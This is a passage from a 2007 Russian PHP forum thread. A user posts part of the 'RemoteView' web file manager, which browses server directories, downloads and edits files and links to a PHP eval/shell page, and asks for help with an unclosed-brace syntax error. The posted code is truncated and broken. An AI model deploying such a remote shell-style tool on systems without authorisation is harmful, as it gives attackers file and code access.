[<a href=$self/".urlencode($f)."?c=v&d=".urlencode($d)."&f=".urlencode($f)."&ftype=3&fnot=1><b>".mm("DOWNLOAD")."</b></a>]
[<a href=$self?c=e&d=".urlencode($d)."&f=".urlencode($f)."><b>".mm("Edit")."</b></a>]
</small>";
}


function exitw() {
exit("<table width=100% border=0 cellspacing=2 cellpadding=0 bgcolor=#ffdddd>
<tr><td align=center>
".mm("Sorry, this programm run in read-only mode.")."<br>
".mm("For full access: write")." `<tt><nobr><b>\$write_access=<u>true</u>;</b></nobr></tt>`
".mm("in this php-file").".</td></tr></table>
");
}



function ob() {
global $obb_flag, $obb;
if (!isset($obb_flag)) { $obb_flag=0; $obb=false; }
if (function_exists("ob_start")) {
if ($GLOBALS['obb_flag']) ob_end_clean();
ob_start();
$GLOBALS['obb_flag']=1;
}
}

function obb() {
global $obb;
if (function_exists("ob_start")) {
$obb=ob_get_contents();
ob_end_clean();
$obb="<P>
<table bgcolor=#ff0000 width=100% border=0 cellspacing=1 cellpadding=0><tr><td>
<table bgcolor=#ccccff width=100% border=0 cellspacing=0 cellpadding=3><tr><td align=center>
<b>".mm("Reason").":</b></td></tr></table>
</td></tr><tr><td>
<table bgcolor=#ffcccc width=100% border=0 cellspacing=0 cellpadding=3><tr><td>
$obb<P>
</td></tr></table>
</table><P>";
$GLOBALS['obb_flag']=0;
}
}

function sizeparse($size) {
return strrev(preg_replace("!...!","\ ",strrev($size)));
}


function jsval($msg) {
$msg=str_replace("\\","\\\\",$msg);
$msg=str_replace("\"","\\\"",$msg);
$msg=str_replace("'","\\'",$msg);
return '"'.$msg.'",';
}



///////////////////////////////////////////////////////////////////////////


switch($c) {


// listing
case "l":

echo $GLOBALS['html'];

if (!realpath($d)) die("".mm("Error path").". <a href=$self>".mm("Click here for start")."</a>.");

//up($d);

ob();
$di=dir($d);
obb();

$dirs=array();
$files=array();

if (!$di) exit("<a href=$self?&c=l&d=".urlencode(realpath($d."..")).
"><nobr>&lt;&lt;&lt; <b>".mm("up directory")."</b> &gt;&gt;&gt;</nobr></a> <p>".
"<font color=red><b>".mm("access denied")."</b></font>: $obb");
while (false!==($name=$di->read())) {
if ($name=="." || $name=="..") continue;
if (@is_dir($d.$name)) {
$dirs[]=strval($name);
$fstatus[$name]=0;
}
else {
$files[]=strval($name);
$fstatus[$name]=1;
}
$fsize[$name]=@filesize($d.$name);
$ftype[$name]=@filetype($d.$name);
if (!is_int($fsize[$name])) { $ftype[$name]='?'; $fstatus[$name]=1; }
$fperms[$name]=@fileperms($d.$name);
$fmtime[$name]=@filemtime($d.$name);
$fatime[$name]=@fileatime($d.$name);
$fctime[$name]=@filectime($d.$name);
$fowner[$name]=@fileowner($d.$name);
$fgroup[$name]=@filegroup($d.$name);
if (preg_match("!^[^.].*\.([^.]+)$!",$name,$ok))
$fext[$name]=strtolower($ok[1]);
else
$fext[$name]="";
}
$di->close();

$listsort=array();
if (count($dirs))
foreach ($dirs as $v) {
switch ($cc[0]) {
case "e": $listsort[$v]=$fext[$v].' '.$v; break;
case "n": $listsort[$v]=strtolower($v); break;
default:
switch ($cn[$cc[0]]) {
case "t": case "s": case "n": $listsort[$v]=strtolower($v); break;
case "o": $listsort[$v]=$fowner[$v]; break;
case "g": $listsort[$v]=$fgroup[$v]; break;
case "a": $listsort[$v]="$fowner[$v] $fgroup[$v]"; break;
case "c": $listsort[$v]=$fperms[$v]; break;
case "1": $listsort[$v]=$fctime[$v]; break;
case "2": $listsort[$v]=$fmtime[$v]; break;
case "3": $listsort[$v]=$fatime[$v]; break;

}
}
}

$names=$listsort;
//echo "<pre>";print_r($names);
if ($cc[1]) arsort($names); else asort($names);
//echo "<pre>";print_r($names);

$listsort=array();
if (count($files))
foreach ($files as $v) {
$v=strval($v);
switch ($cc[0]) {
case "e": $listsort[$v]=$fext[$v].' '.$v; break;
case "n": $listsort[$v]=strtolower($v); break;
default:
switch ($cn[$cc[0]]) {
case "n": $listsort[$v]=strtolower($v); break;
case "t": $listsort[$v]=$ftype[$v]; break;
case "s": $listsort[$v]=$fsize[$v]; break;
case "o": $listsort[$v]=$fowner[$v]; break;
case "g": $listsort[$v]=$fgroup[$v]; break;
case "a": $listsort[$v]="$fowner[$v] $fgroup[$v]"; break;
case "c": $listsort[$v]=$fperms[$v]; break;
case "1": $listsort[$v]=$fctime[$v]; break;
case "2": $listsort[$v]=$fmtime[$v]; break;
case "3": $listsort[$v]=$fatime[$v]; break;

}
}
}


//echo "<pre>DIRS:"; print_r($names);
if ($cc[1]) arsort($listsort); else asort($listsort);
//$names=array_merge($names,$listsort);
foreach ($listsort as $k=>$v) $names[$k]=$v;
//echo "<pre>FILES:"; print_r($listsort);
//echo "<pre>NAMES:"; print_r($names);

?>
<STYLE>
.title {
color: 'black';
background: #D4D0C8;
text-align: 'center';
BORDER-RIGHT: #888888 1px outset;
BORDER-TOP: #ffffff 2px outset;
BORDER-LEFT: #ffffff 1px outset;
BORDER-BOTTOM: #888888 1px outset;
}
.window {
BORDER-RIGHT: buttonhighlight 2px outset;
BORDER-TOP: buttonhighlight 2px outset;
BORDER-LEFT: buttonhighlight 2px outset;
BORDER-BOTTOM: buttonhighlight 2px outset;
FONT: 8pt Tahoma, Verdana, Geneva, Arial, Helvetica, sans-serif;
BACKGROUND-COLOR: #D4D0C8;
CURSOR: default;
}
.window1 {
BORDER-RIGHT: #eeeeee 1px solid;
BORDER-TOP: #808080 1px solid;
BORDER-LEFT: #808080 1px solid;
BORDER-BOTTOM: #eeeeee 1px solid;
FONT: 8pt Tahoma, Verdana, Geneva, Arial, Helvetica, sans-serif;
}
.line {
BORDER-RIGHT: #cccccc 1px solid;
BORDER-TOP: #ffffff 1px solid;
BORDER-LEFT: #ffffff 1px solid;
BORDER-BOTTOM: #cccccc 1px solid;
font: <?php echo $cp[4]; ?>pt <?php echo $cp[3]; ?>;
}
.line2 {
background: #ffffcc;
}
.black {color: black}
a:link.black {color: black}
a:active.black {color: black}
a:visited.black {color: black}
a:hover.black {color: #0000ff}

.white {color: white}
a:link.white{color: white}
a:active.white{color: white}
a:visited.white{color: white}
a:hover.white{color: #ffff77}

a:link {color: #000099;}
a:active {color: #000099;}
a:visited {color: #990099;}
a:hover {color: #ff0000;}
a {
CURSOR: default;
}
.windowtitle {
font: 9pt; Tahoma, Verdana, Geneva, Arial, Helvetica, sans-serif;
font-weight: bold;
color: white;
}
.sym {
font: 14px Wingdings;
}
</STYLE>

<?php

function up2($d) {
global $win,$self;
$d=str_replace("\\","/",$d);
if (substr($d,-1)!="/") $d.="/";
$d=str_replace("//","/",$d);

$n=explode("/",$d);
unset($n[count($n)-1]);

$path="";
for ($i=0; $i<count($n); $i++) {
$path="$path$n[$i]/";
if ($i==0) $path=strtoupper($path);
$paths[]=$path;
}

$out="";
$sum=0;
$gr=70;
for ($i=0; $i<count($n); $i++) {
$out.="<a href=$self?c=l&d=".urlencode($paths[$i])." class=white>";
if (strlen($d)>$gr && $i>0 && $i+1<count($n)) {
if (strlen($d)-$sum>$gr) {
$out.="••";
$sum+=strlen($n[$i]);
}
else
$out.=$n[$i];
}
else
if ($i==0) $out.=strtoupper($n[$i]); else $out.=$n[$i];
$out.="/</a>";

}

return $out;
return "<font size=-2>$d</font>";
}

$ext=array();
$ext['html']=array('html','htm','shtml');
$ext['txt']=array('txt','ini','conf','','bat','sh','tcl','js','bak','doc','log','sfc','c','cpp','h','cfg');
$ext['exe']=array('exe','com','pif','src','lnk');
$ext['php']=array('php','phtml','php3','php4','inc');
$ext['img']=array('gif','png','jpeg','jpg','jpe','bmp','ico','tif','tiff','avi','mpg','mpeg');


echo "\n\n\n<script>\nfunction tr(";
for ($i=0; $i<strlen($cn); $i++) {
echo "a$i,";
}
echo "x) {\ndocument.write(\"<tr bgcolor=#eeeeee";
// echo " onMouseOver='this.style.value=\\\"line2\\\"' onMouseOut='this.style.value=\\\"line\\\"'>";
echo " onMouseOver='this.style.backgroundColor=\\\"#FFFFCC\\\"' onMouseOut='this.style.backgroundColor=\\\"\\\"'>";
for ($i=0; $i<strlen($cn); $i++) {
echo '<td align='.$cn_align[$cn[$i]].' class=line ';
switch ($cn[$i]) {
case 's': case 'c': case '1': case '2': case '3': case 't':
echo ' nowrap';
}
echo ">";
if ($cn[$i]!='t' && $cn[$i]!='n') echo "\xA0";
echo "\"+a$i+\"";
if ($cn[$i]!='t' && $cn[$i]!='n') echo "\xA0";
echo "</td>";
}
echo "</tr>\");\n}";
echo "\n\n</script>\n\n\n";


//phpinfo();
//echo implode(" | ",$cp);
echo '<table border=0 cellspacing=2 cellpadding=0 bgcolor=#cccccc
class=window align=center width=60%><form name=main>';

echo '<tr><td colspan='.strlen($cn).' bgcolor=#0A246A background="'.
$self.'?c=img&name=fon&r=" class=windowtitle>';

echo '<table width=100% border=0 cellspacing=0 cellpadding=2 class=windowtitle><tr><td>'.
'<a href='.$self.'><img src='.$self.'?c=img&name=dir border=0></a>'.
up2($d.$f).'</td></tr></table>';

echo '</td></tr>'.
'<tr><td>'.
'<table width=100% border=0 cellspacing=0 cellpadding=0 class=window1><tr>';

$button_help=array(
'up'=>"UP DIR",
'refresh'=>"RELOAD",
'mode'=>'SETUP, folder option',
'edit'=>'DIR INFO',
'home'=>'HomePage',
'papki'=>'TREE',
'setup'=>'PHP eval, Shell',
'back'=>'BACK',
);

function button_url($name) {
global $self,$d,$f,$uurl;
switch ($name) {
case 'up': return "$self?c=l&d=".urlencode(realpath($d.".."));
case 'refresh': return "$self?c=l&r=".rand(0,10000)."&d=".urlencode($d);
case 'mode': return "$self?c=setup&ref=$uurl";
case 'edit': return "$self?c=d&d=".urlencode($d);
case 'home': return "http://php.spb.ru/remview/";
case 'papki': return "$self?c=tree&d=".urlencode($d);
case 'setup': return "$self?c=t";
case 'back': return "java script:history.back(-1)";
}
}
echo '<td colspan='.strlen($cn).'>
<table border=0 cellspacing=0 cellpadding=2><tr>';
$buttons=array('back','up','refresh','edit','mode','disk','full','papki','setup','home');
$tmp=strtoupper($d[0]);
for ($i=0; $i<count($buttons); $i++) {
if ($buttons[$i]=='full') {
echo '<td class=window width=90% align=center nowrap><font color=#999999 face="Arial Black"
style="font-size: 11pt;">&lt;?php<u>R</u>emote<u>V</u>iew?&gt;</font></td>';
continue;
}
if ($buttons[$i]=='disk') {
if (!$win) continue;
echo '<td width=1% title=\'Select dist\' class=window onMouseOver="this.style.backgroundColor=\'#eeee88\'" '.
' onMouseOut="this.style.backgroundColor=\'\'">';
echo "<select name=disk size=1; style='font: 9pt Arial Black; color: #999999 '
onChange='location.href=\"$self?c=l&d=\"+document.main.disk.options[document.main.disk.selectedIndex].value+\":/\"'>";
for ($j=ord('A'); $j<=ord('Z'); $j++)
echo '<option value="'.chr($j).'"'.(chr($j)==$tmp?" selected":"").'>'.chr($j);
echo "</select></td>";
continue;
}
$bturl=button_url($buttons[$i]);
echo '<td width=1% title=\''.$button_help[$buttons[$i]].'\' class=window'.
' onMouseMove="this.style.backgroundColor=\'#eeee88\';window.status=\'** '.$button_help[$buttons[$i]].' ** '.$bturl.'\'"'.
' onMouseOut="this.style.backgroundColor=\'\';window.status=\'\'"'.
' onClick=\'location.href="'.$bturl.'"\'><a href=';
echo button_url($buttons[$i]);
echo '><img HSPACE=3 border=0 src='.$self.'?c=img&name='.$buttons[$i].'></a></td>';
}
echo '</tr></table>
</td></tr><tr>';


for ($i=0; $i<strlen($cn); $i++) {
echo "<td nowrap class=title onClick='location.href=\"".
"$self?c=set&c2=sort&name=$i&pan=$panel&ref=$uurl\"'";
switch ($cn[$i]) {
case 1: case 2: case 3: case "s": echo " width=13%"; break;
case 't': echo " width=2%"; break;
case 'n': echo " width=40%"; break;
}
echo "><a href='$self?c=set&c2=sort&name=$i&pan=$panel&ref=$uurl' class=black>";
switch ($cn[$i]) {
case "n": case "t": case "s": case "o": case "g":
case "a": case "c": case "1": case "2": case "3":
echo "\xA0".$cn_name[$cn[$i]]."\xA0"; break;
default:
echo "??$cn[$i]??";
}
if ($cc[0]==="$i") {
if ($cc[1]=='0') echo "<img src=$self?c=img&name=sort_asc border=0>";
else echo "<img src=$self?c=img&name=sort_desc border=0>";
}
echo '</a></td>';
}
echo '</tr>';

echo "\n\n<script>\n\n";
foreach ($names as $k=>$v) {

echo "\n\n// $k \n";
echo 'tr(';

for ($i=0; $i<strlen($cn); $i++) {

switch ($cn[$i]) {

case 'n':
switch($ftype[$k]) {
case 'file':
$vv=strtolower(substr($k,strlen($k)-4,4));
$add="";
if ($vv==".gif" || $vv==".jpg" || $vv==".png" || $vv==".bmp"
|| $vv==".ico" || $vv=="jpeg") $add="&ftype=2&fnot=1";
if (substr($k,0,5)=="sess_") $add="&ftype=4";
$ln='<a href='.$self.'?&c=v&d='.urlencode($d).
'&f='.urlencode($k).$add.'>';
break;

default:
$ln='<a href='.$self.'?&c=l&d='.urlencode($d.$k).'>';
break;
}

if ($ftype[$k]=='dir')
$ln.='<img src='.$self.'?c=img&name=dir border=0>';
else {
$found=0;
foreach ($ext as $kk=>$vv) {

Спустя 17 часов, 28 минут, 48 секунд (2.10.2007 - 11:16) Alecs написал(а):
Вам нужен раздел для начинающих.
При работе с PHP применяйте редакторы с нумерацией строк, например BRED. А еще лучше любой специализированый под PHP. Я посмотрел ваш код в редакторе PHP Edit, и увидел что в вашем коде 2520 строчек. Так что вы неправильно определили нумерацию.
вот код с 2500 строки
Код
'aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt'.
'Wg0JADs='

);


header("Content-type: image/gif");
header("Cache-control: public");
// /*
header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
header("Cache-control: max-age=".(60*60*24*7));
header("Last-Modified: ".date("r",filemtime(__FILE__)));
// */
echo base64_decode($img[$name]);

break;

}


?>

попробуйте так
Код
'aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt'.
'Wg0JADs=');


header("Content-type: image/gif");
header("Cache-control: public");
// /*
header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
header("Cache-control: max-age=".(60*60*24*7));
header("Last-Modified: ".date("r",filemtime(__FILE__)));
// */
echo base64_decode($img[$name]);

break;

}


?>


Спустя 1 час, 12 минут, 17 секунд (2.10.2007 - 12:28) zaxar написал(а):
Код
Я посмотрел ваш код в редакторе PHP Edit, и увидел что в вашем коде 2520 строчек.


Я тоже посмотрел, и увидел, что там 2520 строчек. Но сохранив файл на жестком, и запустив его, увидел, что ошибка теперь в 2520-й строке. То есть, снова на последней. smile.gif

Попробуй.

Спустя 4 часа, 27 минут, 16 секунд (2.10.2007 - 16:56) Alecs написал(а):
Цитата(zaxar @ 2.10.2007, 9:28) [snapback]27574[/snapback]
Код
Я посмотрел ваш код в редакторе PHP Edit, и увидел что в вашем коде 2520 строчек.


Я тоже посмотрел, и увидел, что там 2520 строчек. Но сохранив файл на жестком, и запустив его, увидел, что ошибка теперь в 2520-й строке. То есть, снова на последней. smile.gif

Попробуй.


тогда все просто: надо разобратся со скобками (последняя скобка не парная).

ЗЫ: редактор это подтвердил. Но самому искать в лом. rolleyes.gif

Спустя 1 день, 14 минут, 30 секунд (3.10.2007 - 17:10) mysterikon написал(а):
Не знаю где вы нашли 2520 строк. Я смотрел этот файл в Macromedia Dreamweaver MX- строк 2500. А на счёт того что последняя скобка не парная я прекрасно знаю. Единственное не могу понять куда другую поставить. Поэтому и прошу помощи.

Спустя 5 часов, 35 минут, 37 секунд (3.10.2007 - 22:46) mysterikon написал(а):
Я так думаю, что скобка должна стоять где то в этом массиве. Только вот где?:


<?php

echo "</table>";
break;



case "img":

unset($img);
$img=array(
'dir'=>
'R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA'.
'AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp'.
'/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=',
'fon'=>
'R0lGODlhQAYEALMAAAAAAP///6bK8A4obRs2eSlFhDZTkEVjnVRyqWKCtnCQwXyezIiq1pO24J3A'.
'6P///yH5BAEAAA8ALAAAAABABgQAAAT/cMhJq704E7n78EQXjmRpnmcRqizRsgUcz3Rt37QR63zR'.
'GzygcEgsGo8HYNKQbDKfh2Z0Sq1ar9goQsvdeg/eMGJMLpvPaHRivG4j3O14Yk6v2+/4u2K+7yf8'.
'Cn2Bg4SFhoeGC4GKjAqNC4yQkpOUlZaTDJCZmwubngygoaKjpKUNDKepqKipDa6vsLGysg4Ntbe2'.
'tg63u72+v8AOArvDxcLFAsnKy8zNzs/Q0dLT1NXW19jZ2tvc3d7f4OHi4+Tl5ufo6err7O3u7/Dx'.
'8vPSGfb3GCAfHBP6IvwgRKBIscJFwREvXMRYkVCGQhw1dPiYSJHiDx8SLwLBeKSjkyUg/5VAGRnl'.
'CUkmWVKCWfmF5UqXX8bAZJmmJpubbt6QWaNzTs+ccOTkwbPnj9GjfIwCKspUqSBEiRxJnbpI6qNG'.
'Vh1d2sopUydNYEF18tp1bClTq06JUqvK1aq0rGbNwvUKl11deIP9Mkasr7Fkwo4do0e4sOHDiBMr'.
'Xsy4sePHkCNLnkzZHL7LmC9s2LdZ34eAAkOjUGGCNAyEBhkqfDiDNcTXGS1O7IFx9sYhHDuKRCIy'.
'pBSSUqgAV7kFS/GXMcHIXK6cDEybOm+e4emzp/Wgdd7E0T50aNNAdADxeTroT3moVQspWrT+0dRI'.
'k7Ju/VrJK/2ynsyG+nr2LSlVrMCVlsIsA8pVCyx05bJLXrzoFQxff0WITGUUVmjhhRhmqOGGHHbo'.
'4YcgepPZiP3wA9A+nJ0o0GchsDjQiwaRFiNCL7R2Wo2vRZRDRbJpdJsQueWm2xImfdTbbkYKNwUU'.
'KjXp0pPMJScGTdBVeZ10V2J3XXdEJaWUHUWZ9yV4ZDqFHnrrZVWVe5VYNZ8l9pF1H3/87ddVf6Oo'.
'JSCAcMHSp1wGKujKXQsGo8uDvgwTWGCKKjMYYCFGKumklFZq6aWYZqrppstEAAA7',
'mode'=>
'R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////wAAAAAAAAAAAAAAAAAAAAAA'.
'AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO'.
'2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/'.
'dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=',

'refresh'=>
'R0lGODlhEQAUALMAAAAAAP////Hx8erq6uPj493d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAA'.
'AAAAACH5BAEAAAwALAAAAAARABQAAAR1kMlJq0Q460xR+GAoIMvkheIYlMyJBkJ8lm6YxMKi6zWY'.
'3AKCYbjo/Y4EQqFgKIYUh8EvuWQ6PwPFQJpULpunrXZLrYKx20G3oDA7093Esv19q5O/woFu9ZAJ'.
'R3lufmWCVX13h3KHfWWMjGBDkpOUTTuXmJgRADs=',
'search'=>
'R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9fX01NTSkpKQQEBP//'.
'/wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOap'.
's5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsD'.
'AkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmr'.
'Cbq7C6sIrqawrKwTv68iyA6rDhEAOw==',
'setup'=>
'R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9fX01NTUJC'.
'QhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA'.
'ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB'.
'qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE'.
'OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==',
'up'=>
'R0lGODlhFAAUALMAAAAAAP////j4+OPj493d3czMzLKysoaGhk1NTf///wAAAAAAAAAAAAAAAAAA'.
'AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJq734ns1PnkcgjgXwhcNQrIVhmFonzxwQjnie27jg'.
'+4Qgy3XgBX4IoHDlMhRvggFiGiSwWs5XyDftWplEJ+9HQCyx2c1YEDRfwwfxtop4p53PwLKOjvvV'.
'IXtdgwgdPGdYfng1IVeJaTIAkpOUlZYfHxEAOw==',
'sort_asc'=>
'R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMa'.
'SLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==',
'sort_desc'=>
'R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMb'.
'SLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=',
'exe'=>
'R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7'.
'WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt'.
'xhIAOw==',
'html'=>
'R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz'.
'c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P'.
'KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk'.
'Bkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR'.
'ADs=',
'txt'=>
'R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ'.
'SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7'.
'UpPWG3Ig6Hq/XmRjuZwkAAA7',
'unk'=>
'R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANE'.
'SLPcSzCqQKsVQ8JhexBBJnGVYFZACowleJZrRH7lFW8eDbMXaPO1juA2uXiGwBwFKRMeiTPlByrd'.
'yUzYbJao6npVkQQAOw==',
'php'=>
'R0lGODlhEwAQALMAAAAAAP///9fX3d3f7s/S5F1qpmJpjKOqyr7D27i80K+ywEtam4OIk+T/AO7u'.
'7v///yH5BAEAAA8ALAAAAAATABAAAAR08D0wK71VSna47yBHadxhnujRqKRJvC+SJIPKbgJR7DzP'.
'NECNgNFbGI/HhmZQWASezugzsFBKdtJsoEA1aLBTJzTMIDWpRqr6mFgyounswiAgDYjY/FwxGD1K'.
'BAMIg4MJCg41fiUpjAeKjY1+EwCUlZaVGhEAOw==',
'img'=>
'R0lGODlhEwAQALMAAAAAAP///6CgpHFzcVe2Osz/mbPmZkRmAPj4+Nra2szMzLKyspeXl4aGhlVV'.
'Vf///yH5BAEAAA8ALAAAAAATABAAAASA8KFJq00vozZ6Z4uSjGOTSV3DMFzTCGJ5boIQKsrqgoqp'.
'qbabYsFq+SSs1WLJFLgGx82OUWMuXVEPdGcLOmcehziVtEXFjoHiQGCnV99fR4EgFA6DBVQ3c3bq'.
'BIEBAXtRSwIsCwYGgwEJAywzOCGHOliRGjiam5M4RwlYoaJPGREAOw==',
'edit'=>
'R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAAAAAAAAAAAAAA'.
'AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze'.
'EQYQLUAsGgM0Wwt3bCJfQSFx10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61'.
'LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==',
'papki'=>
'R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo'.
'eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD'.
'Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==',
'home'=>
'R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA'.
'AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS'.
'krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j'.
'VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=',
'back'=>
'R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8'.
'aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt'.
'Wg0JADs='

);


header("Content-type: image/gif");
header("Cache-control: public");
// /*
header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
header("Cache-control: max-age=".(60*60*24*7));
header("Last-Modified: ".date("r",filemtime(__FILE__)));
// */
echo base64_decode($img[$name]);

break;

}


?>

Спустя 13 часов, 51 минута, 3 секунды (4.10.2007 - 12:37) push написал(а):
у вас 2 не закрытых } ... но геде =)))
возможно file_exist(good... и if ($send == 'user_list...

Спустя 1 день, 5 часов, 52 минуты, 53 секунды (5.10.2007 - 18:30) mysterikon написал(а):
А я думал здесь профессионалы.

Спустя 1 день, 2 часа, 57 минут, 18 секунд (6.10.2007 - 21:27) Alecs написал(а):
Цитата(mysterikon @ 5.10.2007, 15:30) [snapback]27720[/snapback]
А я думал здесь профессионалы.


То что здесь профессионалы совсем не значит что они будут работать вместо вас. Здесь профессионалы общаются с профессионалами. Вы спросили где ошибка, вам ответили. Разбиратся в программе на 2500 строк, не зная контекста (и даже зная его), никто не будет. Если вы хотите результат и не вспотеть, пишите техзадание и сумму которую готовы заплатить за работу в http://www.phpforum.ru/index.php?showforum=15 или http://www.phpforum.ru/index.php?showforum=14.

ЗЫ: Лично у меня в обслуживании 8 локальных и 2 удаленных сервера. И из них только два HTTP-сервера. И как вы думаете могу я все бросить и разбиратся исключительно вашей проблемой? Другие проффи я думаю загружены не меньше.

Спустя 34 минуты, 11 секунд (6.10.2007 - 22:01) agajanh написал(а):
wuhahaha

Спустя 21 день, 23 часа, 6 минут, 5 секунд (28.10.2007 - 22:07) aka_Kail написал(а):
Скобка незакрытая ) или } наверняка есть..
но не в 2500- строке, как указано в сообщении об ошибке..
просто то глюк рнр - незакрытая скобка, особо такая } часто выдаёт ошибку с какой угодно строкой.
Ищите..

ЗЫ. Проверил.. запускать не стал, но когда поставил 2 такие скобки }
в 55 строке - ощибка ушла..
проверил на PHPED.но - не запускал.. так что может и ошибаюсь.
Быстрый ответ:

 Графические смайлики |  Показывать подпись
Здесь расположена полная версия этой страницы.
Invision Power Board © 2001-2024 Invision Power Services, Inc.